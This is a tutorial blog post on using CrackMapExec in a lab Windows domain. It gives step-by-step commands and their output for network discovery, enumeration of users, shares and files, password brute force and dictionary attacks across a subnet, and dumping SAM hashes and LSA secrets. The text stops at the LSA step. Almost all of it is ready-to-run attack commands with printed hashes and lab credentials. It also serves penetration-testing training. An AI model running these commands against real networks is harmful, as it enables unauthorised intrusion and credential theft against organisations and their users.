Lateral Movement on Active Directory: CrackMapExec

May 7, 2020 By Raj Chandel

In this article, we learn to use crackmapexec. This tool is developed by byt3bl33d3r. I have used this tool many times for both offensive and defensive techniques. And with my experience from this tool, I can say that the tool is so amazing that one can use it for situational awareness as well as lateral movement. You can download the tool from here.

Table of Content

- **Introduction to Crackmapexec**
- **Crackmapexec and Red Team**
- **Configurations Used for Practical**
- **Installation**
- **Enumeration**
  - Discovering IPs
  - users
  - groups
  - txt files
  - log files
  - share
  - sessions
  - password policies
  - Drives
- **Bruteforce**
- **Dictionary Attack**
- **Credential Dumping**
  - SAM
  - LSA
  - NTDS (DRSUAPI)
  - NTDS (VSS)
- **Pass the Hash**
- **Password spraying**
- **Remote Command Execution**
  - wmiexec
  - atexec

- **Modules**
  - mimikatz
  - wdigest
  - enum_dns
  - Web delivery

Introduction to Crackmapexec

Crackmapexec, also known as CME, is a post-exploitation tool. The developer of the tool describes it as a “swiss army knife for pen-testing networks”, which I find is an apt description. The tool is developed in python and lets us move laterally in an environment while being situationally aware. It abuses the Active Directory security by gathering all the information from IP addresses to harvesting the credentials from SAM. And this is the only information we need for our lateral movement. It also offers us numerous modules such as mimikatz, web delivery, wdigest, etc. to make dumping of credentials and getting a session easy. Hence, making an attacker all-powerful by letting them living off the Land.

Configurations Used for Practical

- Target: Windows Server 2016
- Attacker: Kali Linux 2020.1

Here, in our lab scenario, we have configured the following settings on our systems.

Windows Server Details

- Domain: ignite.local
- User: Administrator
- Password: Ignite@987
- IP Address: 192.168.1.105

Windows Client Details

- OS: Windows 10
- IP Address: 192.168.1.106
- Users: kavish, geet, aarti, yashika
- Password: Password@1

Installation

The installation for this tool is most simple as for installation just use the following command:

```
apt install crackmapexec
```

```
root@kali:~# apt install crackmapexec
Reading package lists ... Done
Building dependency tree
Reading state information ... Done
The following packages were automatically installed and are no lon
  cython enchant libayatana-ido3-0.4-0 libbfio1 libboost-regex1.67
  libisc-export1104 libisc1100 libisc1104 libisl21 libjim0.77 libj
  linux-headers-5.3.0-kali2-amd64 linux-headers-5.3.0-kali2-common
  python-backports.functools-lru-cache python-bcrypt python-blinke
  python-django python-dnspython python-editor python-egenix-mxdat
  python-flask-kvsession python-flask-login python-flask-mail pyth
  python-hamcrest python-html2text python-html5lib python-hupper p
  python-markupsafe python-marshmallow python-marshmallow-sqlalche
  python-pcapfile python-pefile python-plaster python-png python-p
  python-pyquery python-qrcode python-repoze.lru python-scapy pyth
  python-sqlalchemy python-sqlalchemy-ext python-sqlalchemy-schema
  python-twisted-bin python-twisted-core python-txaio python-tz py
  python-wsaccel python-wtforms python-yaml python-zope.component
Use 'apt autoremove' to remove them.
The following additional packages will be installed:
```

Note: if the above command gives any issue then we recommend you to perform an apt update and upgrade on your Kali.

Enumeration: Discovering IPs

To discover the IPs on the target network, use the following command:

```
crackmapexec smb 192.168.1.0/24
```

```
root@kali:~# crackmapexec smb 192.168.1.0/24
SMB         192.168.1.103   445    DESKTOP-9C22C07  [*] Windows 10 Pro 18362 x64 (nam
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  [*] Windows 10.0 Build 18362 x64
```

And as shown in the image above, you will have the list of the IPs.

In a general sense, the syntax for crackmapexec is:

crackmapexec <protocol> <Target_IP> -u '<username>' -p '<passwprd>'

Which will bring out the command to be:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987'
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987'
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 1439
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
```

Enumeration: Users

To find out all the lists of the users in your target system, we will use the '—user' parameter. Hence, the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --users
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --users
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Enumerated domain user(s)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\Administrator                    badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\Guest                           badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\DefaultAccount                  badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\krbtgt                          badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\yashika                         badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\geet                            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\aarti                           badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\$PI1000-3MFD4LDN1VTV            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\SM_195ac04be8c140048            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\SM_4c397e3a678c4b169            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\SM_20db1747e41e4819a            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\SM_8fbff1f05b7c418da            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\SM_fafb5649db9644c49            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\SM_c0b1758feadf42abb            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\SM_555a8cdd81f14d9a8            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\SM_8b7c24749eae46cfa            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\SM_a5503dd828c64f048            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\HealthMailboxf574a3a            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\HealthMailbox06b7664            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\HealthMailbox1eb4aa3            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\HealthMailbox0a5a569            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\HealthMailboxd7cfd99            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\HealthMailbox41cc604            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\HealthMailbox0ab8a6a            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\HealthMailbox0bc5951            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\HealthMailbox55e60d4            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\HealthMailboxb6dd973            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\HealthMailbox23061dc            badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\SVC_SQLService                  badpwdcoun
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\kavish                          badpwdcoun
```

As shown in the above image, the execution of the above command will show the users of the target system.

Enumeration: Groups

To get the details of the groups from the target system, use the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --groups
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --groups
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (r
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Enumerated domain group(s)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Administrators                          membercount: 3
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Users                                   membercount: 3
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Guests                                  membercount: 2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Print Operators                         membercount: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Backup Operators                        membercount: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Replicator                              membercount: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Remote Desktop Users                    membercount: 1
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Network Configuration Operators         membercount: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Performance Monitor Users               membercount: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Performance Log Users                   membercount: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Distributed COM Users                   membercount: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  IIS_IUSRS                               membercount: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Cryptographic Operators                 membercount: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Event Log Readers                       membercount: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Certificate Service DCOM Access         membercount: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  RDS Remote Access Servers               membercount: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  RDS Endpoint Servers                    membercount: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  RDS Management Servers                  membercount: 0
```

Enumeration: Text files

To get all the information of the text files in the target system, such as path, use the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C\$ --p
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C\$ --pattern txt
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE) (
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Started spidering
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Spidering .
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/inetpub/wwwroot/file.txt [lastm:'2020-04-30 15:28' size:153]
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/VMware/VMware Tools/open_source_licenses.txt [lastm:'2020-04-
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/Windows Defender/ThirdPartyNotices.txt [lastm:'2020-04-15 21
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/Windows NT/TableTextService/TableTextServiceAmharic.txt [last
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/Windows NT/TableTextService/TableTextServiceArray.txt [lastm
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/Windows NT/TableTextService/TableTextServiceDaYi.txt [lastm:
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/Windows NT/TableTextService/TableTextServiceTigrinya.txt [la
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/Windows NT/TableTextService/TableTextServiceYi.txt [lastm:'2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/WindowsPowerShell/Modules/Pester/3.4.0/en-US/about_BeforeEac
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/WindowsPowerShell/Modules/Pester/3.4.0/en-US/about_Mocking.h
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/WindowsPowerShell/Modules/Pester/3.4.0/en-US/about_Pester.he
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/WindowsPowerShell/Modules/Pester/3.4.0/en-US/about_should.he
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/WindowsPowerShell/Modules/Pester/3.4.0/en-US/about_TestDrive
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/WinRAR/License.txt [lastm:'2020-04-15 08:32' size:6880]
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/WinRAR/Rar.txt [lastm:'2020-04-15 08:32' size:107330]
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/WinRAR/ReadMe.txt [lastm:'2020-04-15 08:32' size:1279]
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/WinRAR/WhatsNew.txt [lastm:'2020-04-15 08:32' size:93732]
```

Enumeration: Log Files

Similarly, to retrieve the information of log files from the target system, use the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C\$ --p
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C\$ --pattern log
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Started spidering
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Spidering .
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/PerfLogs [dir]
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/inetpub/logs [dir]
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/inetpub/logs/LogFiles [dir]
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/inetpub/logs/LogFiles/FTPSVC2/u_ex200420.log
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/inetpub/logs/LogFiles/FTPSVC2/u_ex200428.log
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/inetpub/logs/LogFiles/W3SVC1/u_ex200419.log [
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/inetpub/logs/LogFiles/W3SVC1/u_ex200420.log [
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/inetpub/logs/LogFiles/W3SVC1/u_ex200425.log [
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/inetpub/logs/LogFiles/W3SVC1/u_ex200430.log [
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/inetpub/logs/LogFiles/W3SVC1/u_ex200501.log [
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/Common Files/microsoft shared/i
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/Common Files/microsoft shared/i
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  //192.168.1.105/C$/Program Files/Mozilla Firefox/install.log [la
```

This way you can access the information on any file extension such as exe, etc.

Enumeration: Shares

To know what folders are shared among the network and what permissions they have, we can use the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --shares
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --shares
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Enumerated shares
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Share           Permissions     Remark
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  -----           -----------     ------
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ADMIN$          READ,WRITE      Remote Admin
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  C$              READ,WRITE      Default share
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  hackme          READ,WRITE
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  IPC$                            Remote IPC
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  NETLOGON        READ,WRITE      Logon server share
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  SYSVOL          READ            Logon server share
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Users           READ,WRITE
```

As shown in the image above, we will have all the information for share folders in the network.

Enumeration: Sessions

The active sessions details can be found from the command given below:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sessions
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sessions
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 143
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Enumerated sessions
```

Enumeration: Password Policies

To know the password policies that have been applied in the target system, CME provides us with the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --pass-pol
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --pass-pol
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Dumping password info for domain: IGNITE
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Minimum password length: 7
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Password history length: 24
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Maximum password age:
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Password Complexity Flags: 000001
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2      Domain Refuse Password Change: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2      Domain Password Store Cleartext: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2      Domain Password Lockout Admins: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2      Domain Password No Clear Change: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2      Domain Password No Anon Change: 0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2      Domain Password Complex: 1
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Minimum password age:
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Reset Account Lockout Counter: 30 minutes
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Locked Account Duration: 30 minutes
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Account Lockout Threshold: None
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Forced Log off Time: Not Set
```

Executing the above command will give us the details of the password policies as shown in the image above.

Enumeration: Drives

To find out how many drives are there in the target system, with what name; we can use the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --disks
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --disks
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Enumerated disks
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  C:
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  D:
```

Bruteforce: Username

With crackmapexec, you can also brute force the username that will match our correct password. We will be doing this on the whole network, that is why we will specify the IP range instead of just giving IP. We will do this, with the following command:

```
crackmapexec smb 192.168.1.0/24 -u "kavish" "Administrator" -p "Ignite@987"
```

```
root@kali:~# crackmapexec smb 192.168.1.0/24 -u "Kavish" "Administrator" -p "Ignite@987"
SMB         192.168.1.103   445    DESKTOP-9C22C07  [*] Windows 10 Pro 18362 x64 (name:DESKTOP-9C22C07) (domai
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\Kavish:Ignite@987 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\Administrator:Ignite@987 STATUS_ACCOUN
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (nam
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [-] IGNITE\Kavish:Ignite@987 STATUS_LOGON_FAILURE
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  [*] Windows 10.0 Build 18362 x64 (name:DESKTOP-RGP2O9L) (d
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  [-] IGNITE\Kavish:Ignite@987 STATUS_LOGON_FAILURE
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
```

Bruteforce: Password

With CME, we can brute-force passwords on a single target system or the whole network. In our practice, we have a brute-forced password on the whole network. To do the said, type:

```
crackmapexec smb 192.168.1.0/24 -u "Administrator" -p "password1" "password2" "Ign
```

```
root@kali:~# crackmapexec smb 192.168.1.0/24 -u "Administrator" -p "password1" "password2" "Ignite@987"
SMB         192.168.1.103   445    DESKTOP-9C22C07  [*] Windows 10 Pro 18362 x64 (name:DESKTOP-9C22C07) (domai
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\Administrator:password1 STATUS_LOGON_FA
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\Administrator:password2 STATUS_LOGON_FA
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\Administrator:Ignite@987 STATUS_ACCOUNT
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [-] IGNITE\Administrator:password1 STATUS_LOGON_FAILURE
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [-] IGNITE\Administrator:password2 STATUS_LOGON_FAILURE
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  [*] Windows 10.0 Build 18362 x64 (name:DESKTOP-RGP2O9L) (do
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  [-] IGNITE\Administrator:password1 STATUS_LOGON_FAILURE
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  [-] IGNITE\Administrator:password2 STATUS_LOGON_FAILURE
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
```

Dictionary Attack

CME also enable us to do dictionary on both username and password. Both custom or already made dictionaries can be given for the attack. In our practical, we have given a custom-made dictionary for both usernames and passwords. This attack can be done on the whole network or a single IP. We are doing this attack on the whole network as we are giving a whole IP range. To initiate the attack, use the following command:

```
crackmapexec smb 192.168.1.0/24 -u /root/Desktop/user.txt -p /root/Desktop/pass.tx
```

```
root@kali:~# crackmapexec smb 192.168.1.0/24 -u /root/Desktop/user.txt -p /root/Desktop/pass.txt
SMB         192.168.1.103   445    DESKTOP-9C22C07  [*] Windows 10 Pro 18362 x64 (name:DESKTOP-9C22C07) (domain:DESKTOP-9C22C
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\Administrator:Ignite@987 STATUS_ACCOUNT_DISABLED
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\Administrator:Admin@1 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\Administrator:Password@1 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\raj:Ignite@987 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\raj:Admin@1 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\raj:Password@1 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\aarti:Ignite@987 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\aarti:Admin@1 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\aarti:Password@1 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\yashika:Ignite@987 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\yashika:Admin@1 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\yashika:Password@1 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\geet:Ignite@987 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\geet:Admin@1 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\geet:Password@1 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\pavan:Ignite@987 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\pavan:Admin@1 STATUS_LOGON_FAILURE
SMB         192.168.1.103   445    DESKTOP-9C22C07  [-] DESKTOP-9C22C07\pavan:Password@1 STATUS_LOGON_FAILURE
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVL
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  [*] Windows 10.0 Build 18362 x64 (name:DESKTOP-RGP2O9L) (domain:IGNITE) (
```

Credential Dumping: SAM

SAM is short for the Security Account Manager which manages all the user accounts and their passwords. It acts as a database. All the passwords are hashed and then stored SAM. Using CME, we will dump the credentials from SAM in the form of hashes by using the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sam
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sam
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGN
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Dumping SAM hashes
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Administrator:500:aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Added 3 SAM hashes to the database
```

Credential Dumping: LSA

The Local Security Authority (LSA) is a protected system process that authenticates and logs users on to the local computer. Domain credentials are used by the operating system and authenticated by the Local Security Authority (LSA). Therefore, LSA has access to the credentials and we will exploit this fact to harvest the credentials with CME by using the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --lsa
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --lsa
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGN
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Dumping LSA secrets
